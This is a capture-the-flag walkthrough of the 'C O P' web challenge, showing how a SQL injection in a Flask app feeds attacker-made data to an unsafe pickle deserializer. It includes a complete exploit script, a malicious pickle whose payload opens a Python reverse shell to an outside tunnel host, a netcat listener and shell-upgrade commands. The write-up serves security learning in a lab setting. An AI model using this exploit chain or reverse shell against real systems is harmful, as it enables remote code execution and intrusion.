C O P

INTRODUCTION

C O P (Cult of Pickles) is an Easy web challenge, involving requireing equal portions of SQLi, and deserialization, and brine. The challenge is a very minimal web app, demonstrating a bit of a “toy problem” with SQLi arising from a failure to use SQL prepared statements and sloppy Flask+Jinja2 templating code.

Achieving actual RCE is a bit challenging, but mostly because of a very strange issue. Formulation of your attack steps and writing the exploit is not too bad. Be sure to read my warnings within the Exploit section to avoid my pitfalls.

index page

FIRST TAKE

The website itself is very finite, containing only two templates. There is the view that shows all products (see above, at /) and the product detail view, accessible at /view/<product_id>:

product details

As far as I can tell, there is nothing interactive on this website.

CODE ANALYSIS

The application has a very typical layout for a Flask project. Oddly, they decided to use Flask Blueprints even though there are only two routes:

tree

I like to review the code in the order that each file would be accessed and executed. In this challenge, that means starting at the Dockerfile, entrypoint.sh, and run.py, and traversing all the way to the templates

The first strange thing I found with the source code was in app.py:

from flask import Flask, g
from application.blueprints.routes import web
import pickle, base64

app = Flask(__name__)
app.config.from_object('application.config.Config')

app.register_blueprint(web, url_prefix='/')

@app.template_filter('pickle')
def pickle_loads(s):
	return pickle.loads(base64.b64decode(s))

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None: db.close()

Check out that template filter. Why would that exist? Why would the functionality of such an important (and dangerous) activity be offloaded into the templates?

💡 Note that there is no validation on the base64 serialized data. If we can somehow find a way to make this function deserialize a user-controlled pickle, then we can probably achieve RCE.

That pickle template filter is used in both templates; here’s a snippet from item.html:

<!-- ... -->
{% set item = product | pickle %}
<div class="col-md-6">
	<img class="card-img-top mb-5 mb-md-0" src="{{ item.image }}" alt="..." />
</div>
<div class="col-md-6">
    <h1 class="display-5 fw-bolder">{{ item.name }}</h1>
    <div class="fs-5 mb-5">
        <span>£{{ item.price }}</span>
    </div>
    <p class="lead">{{ item.description }}</p>
</div>
<!-- ... -->

The product is passed into the template as a string, then goes through the pickle filter which deserializes it into an object - presumably an object with properties name, price, and description.

🤔 That is such an odd design choice. This must be part of the vulnerability.

Product data flow

Where does the product string come from, before it arrives at this template? The answer is in routes.py:

@web.route('/view/<product_id>')
def product_details(product_id):
    return render_template('item.html', product=shop.select_by_id(product_id))

The product id comes from the URL, then passed to the shop method; shop.select_by_id is a static method that performs a database query:

@staticmethod
def select_by_id(product_id):
    return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)

😮 Hey, look at that! They neglected to use a proper SQL prepared statement. I bet we can find a way to abuse this with SQLi.

☝️ It’s important to note that the function query_db is actually written properly to perform a prepared statement:

def query_db(query, args=(), one=False):
    with app.app.app_context():
        cur = get_db().execute(query, args)
        rv = [dict((cur.description[idx][0], value) \
            for idx, value in enumerate(row)) for row in cur.fetchall()]
        return (next(iter(rv[0].values())) if rv else None) if one else rv

But we can see from the select_by_id(product_id) function that they failed to call query_db with any args. Instead, they have bundled the query and its args into one string.

This one mistake is what allows the SQLi 💉

⏩ If we can use SQLi to produce a user-controlled product object, then we might be able to chain this with the unsafe deserialization we saw within the pickle_loads() template filter we saw earlier to achieve RCE!

EXPLOIT

As mentioned above, if we are able to combine two things, then we can achieve RCE:

  1. Use SQLi to produce user-controlled base64-encoded string
  2. Run the user-controlled string through the unsafe pickle_loads function

SQLi

We should be able to just use cURL to play with this one, but since we need to pickle a malicious class anyway, I’ll skip right to using Python + requests:

#!/usr/bin/env python3

import sys
import requests
import pickle
import base64

def print_usage():
    print(f"Usage: python3 {sys.argv[0]} <url>")
    print("Example: python3 {sys.argv[0]} 83.136.250.116:49992")
    
def print_response(response)"
    print(f"HTTP/1.1 {response.status_code} {response.reason}")
    print(f"Headers:")
    for key, value in response.headers.items():
        print(f"{key}: {value}")
    print(f"\nResponse Body:\n{response.text}")

def main():

    # Parse args
    if len(sys.argv) != 2:
        print_usage()
        sys.exit(1)
    url = f"http://{sys.argv[1]}/view/1"

    # Make the HTTP request
    try:
        response = requests.get(url)
        print_response(response)
    except requests.exceptions.RequestException as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    main()

All this does right now is perform the same request as if we clicked on the product with id=1. Therefore it will execute this query:

SELECT data FROM products WHERE id='1';

The data returned from this query should be the base64-encoded string of the pickled Item object with item ID 1.

To check it out, I loaded database.py, disabled some of the code that linked to other files/modules, then ran the migrate_db() function to produce a copy of the cop.db database. So I can say with certainty that the result of the above query is this:

gASVlAAAAAAAAACMCGRhdGFiYXNllIwESXRlbZSTlCmBlH2UKIwEbmFtZZSMDFBpY2tsZSBTaGlydJSMC2Rlc2NyaXB0aW9ulIwZR2V0IG91ciBuZXcgcGlja2xlIHNoaXJ0IZSMBWltYWdllIwfL3N0YXRpYy9pbWFnZXMvcGlja2xlX3NoaXJ0LmpwZ5SMBXByaWNllIwCMjOUdWIu

We can see the raw pickle serial data by running it through base64:

base64 item

We can play with this a little by actually querying for two rows:

select data from products where id = '1' union select data from products where id = '2' order by data ASC limit '1';

☝️ See how we can give a string (not an integer) to the LIMIT clause? Very handy for what we’re about to do 😉

And we can choose which one is shown by toggling the order by clause between asc and desc.

🚫 Making a PoC pickle

Still not clear why, but this part didn’t lead anywhere productive. If you’re short on time, skip ahead to the next section.

I want a way to test the SQLi without worrying about getting RCE. The idea is that we should be able to load the URL, except provide a customized pickle.

To do this, let’s get an existing product’s pickle and exchange its description field. I’ll use Cyberchef:

finding the description in the pickle

Then encode some new text:

echo -n 'this custom, user-controlled pickle'  | base64
# dGhpcyBjdXN0b20sIHVzZXItY29udHJvbGxlZCBwaWNrbGU=

And insert the new text where the old description used to be:

gASVoAAAAAAAAACMCGRhdGFiYXNllIwESXRlbZSTlCmBlH2UKIwEbmFtZZSMDlBpY2tsZSBTaGlydCAylIwLZGVzY3JpcHRpb26UjCJHZXQgdGhpcyBjdXN0b20sIHVzZXItY29udHJvbGxlZCBwaWNrbGUhlIwFaW1hZ2WUjCAvc3RhdGljL2ltYWdlcy9waWNrbGVfc2hpcnQyLmpwZ5SMBXByaWNllIwCMjeUdWIu

Now, instead of selecting a second product, we select 1 valid product and our hardcoded (customized base64) string:

select data from products where id = '1' union select 'gASVoAAAAAAAAACMCGRhdGFiYXNllIwESXRlbZSTlCmBlH2UKIwEbmFtZZSMDlBpY2tsZSBTaGlydCAylIwLZGVzY3JpcHRpb26UjCJHZXQgdGhpcyBjdXN0b20sIHVzZXItY29udHJvbGxlZCBwaWNrbGUhlIwFaW1hZ2WUjCAvc3RhdGljL2ltYWdlcy9waWNrbGVfc2hpcnQyLmpwZ5SMBXByaWNllIwCMjeUdWIu' as data order by data DESC limit '1';

So then I should be able to load this customized pickle by navigating to:

/view/1' union select 'gASVoAAAAAAAAACMCGRhdGFiYXNllIwESXRlbZSTlCmBlH2UKIwEbmFtZZSMDlBpY2tsZSBTaGlydCAylIwLZGVzY3JpcHRpb26UjCJHZXQgdGhpcyBjdXN0b20sIHVzZXItY29udHJvbGxlZCBwaWNrbGUhlIwFaW1hZ2WUjCAvc3RhdGljL2ltYWdlcy9waWNrbGVfc2hpcnQyLmpwZ5SMBXByaWNllIwCMjeUdWIu' as data order by data ASC limit '1

But… it’s not really working. Not sure why 🤔 When I try this against the local Docker instance, I get an error:

error testing payload

😒 No module named ‘database’? What..?

IDK, whatever… Let’s just move on ​a​n​d ​t​ry ​th​e ​wh​o​le​ e​x​pl​o​i​t​ 🙄

Malicious pickle

The typical pattern for crafting a malicious pickle is to write a class with the __reduce__() method. If you want more detail, this is a good article to reference.

import os
# ...
class Exploit:
    def __reduce__(self):
        cmd = 'uname -a'  # put your command injection here
        return os.system, (cmd,)

pickled = pickle.dumps(Exploit())
pickled_str = base64.urlsafe_b64encode(pickled).decode()

I tried this with a few simple commands against my local Docker container, and it worked fine, so next we will transform this into an actual exploit.

Reverse shell (part 1)

Since we’re expecting to get RCE, one of the best outcomes would be for us to pop a reverse shell.

I initially solved this challenge by copying the flag to the /static directory of the Flask server. That works fine, but I wanted to go further. To make that happen, be sure to use something like this:

class Exploit:
    def __reduce__(self):
        cmd = 'cp /app/flag.txt /app/application/static/flag.txt'
        return os.system, (cmd,)

If you want more detail on that method, go find another walkthrough.

However, this is one of those challenges that doesn’t use the HackTheBox VPN. Therefore, to form a reverse shell, I will need to expose a port on my attacker machine to the public internet.

Many people have heard of ngrok. It works great too, but it’s more expensive than the one I use: Pinggy. To prepare for a reverse shell with Pinggy, I’ll go to my dashboard at https://dashboard.pinggy.io, select TCP Tunnel, then choose a random port between 1000-65535:

Pinggy tcp setup

Copy the SSH command that it spits out, and paste it into a terminal on the attacker host. It will display your TCP address and port.

⚠️ Note that the exposed TCP port is different than the local side of the tunnel!

For me, it was tcp://rnruv-149-88-102-121.a.free.pinggy.link:11763.

Since we know the target has Python available, let’s use a Python reverse shell. The malicious pickle can only have between 2 and 6 args, so it’s actually best if we phrase the python reverse shell as an OS command injection anyway, using python3 -c syntax:

class Exploit:
    def __reduce__(self):
        cmd = 'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("rnruv-149-88-102-121.a.free.pinggy.link",11763));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")\''
        return os.system, (cmd,)

Great, our payload should be ready! Let’s finish writing the exploit before we open the reverse shell.

Finish the exploit script

We’ll use the same general layout to the code as before, but now we need to send the payload at the target via the SQLi:

#!/usr/bin/env python3

import sys
import requests
import pickle
import base64
import os
import urllib

def print_usage():
    print(f"Usage: python3 {sys.argv[0]} <url>")
    print("Example: python3 {sys.argv[0]} 83.136.250.116:49992")
    
def print_response(response, short=False):
    print(f"HTTP/1.1 {response.status_code} {response.reason}")
    if short:
        return
    print(f"Headers:")
    for key, value in response.headers.items():
        print(f"{key}: {value}")
    print(f"\nResponse Body:\n{response.text}")
    
class Exploit:
    def __reduce__(self):
        cmd = 'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("rnruv-149-88-102-121.a.free.pinggy.link",11763));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")\''
        return os.system, (cmd,)
    
def main():
    # Parse args
    if len(sys.argv) != 2:
        print_usage()
        sys.exit(1)
    url = f"http://{sys.argv[1]}/view/1"
    
    # Pickle the Exploit class
    pickled = pickle.dumps(Exploit())
    pickled_str = base64.urlsafe_b64encode(pickled).decode()
    print(f'\nTHE PICKLED STRING IS \"{pickled_str}\"\n')

    # Perform the SQLi
    for order in ['ASC', 'DESC']:
        try:
            sqli = f"\' UNION SELECT\'{pickled_str}\' as data order by data {order} limit 1 ; -- "
            exploit_url = url + urllib.parse.quote(sqli)
            print(exploit_url, end='...')
            response = requests.get(exploit_url, timeout=3)
            print_response(response, short=True)
        except requests.exceptions.RequestException as e:
            print(f"An error occurred: {e}")

if __name__ == "__main__":
    main()

👀 If you read that code thoroughly, you might notice that there is a space missing on one line:

sqli = f"\' UNION SELECT\'{pickled_str}\' as data order by data {order} limit 1 ; -- "

You might be asking “Why is there no space SELECT and the payload?”

I truly don’t know. I’ve wasted hours trying to answer this question. I only found out about this by asking around.

Alright, that should do it! Let’s open the reverse shell listener and hope that great things await us.

Reverse shell (part 2)

Since I’m not completely insane, I’ll only open a firewall port for the challenge host’s IP address:

# Note that this is the port that Pinggy shows after make the tunnel, not your listener's port
sudo ufw allow from 94.237.53.227 to any port 11763

Set up the reverse shell listener:

![pinggy tcp](pinggy%20tcp.png)# Use the port you entered into Pinggy dashboard, not the publicly visible one
bash
nc -lvnp 16350

Fire ze missiles!

Everything is ready, we just need to run the exploit script:

./exploit.py "94.237.53.227:58688"

opening revshell

This doesn’t cause the Flask target to hang, but we do see the connection via our Pinggy terminal:

pinggy tcp

And our reverse shell listener responds! Since I’m getting a little “dumb shell gibberish”, I’ll do a tiny upgrade:

python3 -c 'import pty; pty.spawn("/bin/ash")'
# [ctrl+z]
stty echo -raw; fg # [enter]
cat /app/flag.txt

upgraded reverse shell

That’s all! 🎉

That challenge wasn’t bad at all, once I got past the whole “there should randomly be no space between two words in the SQLi” thing.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake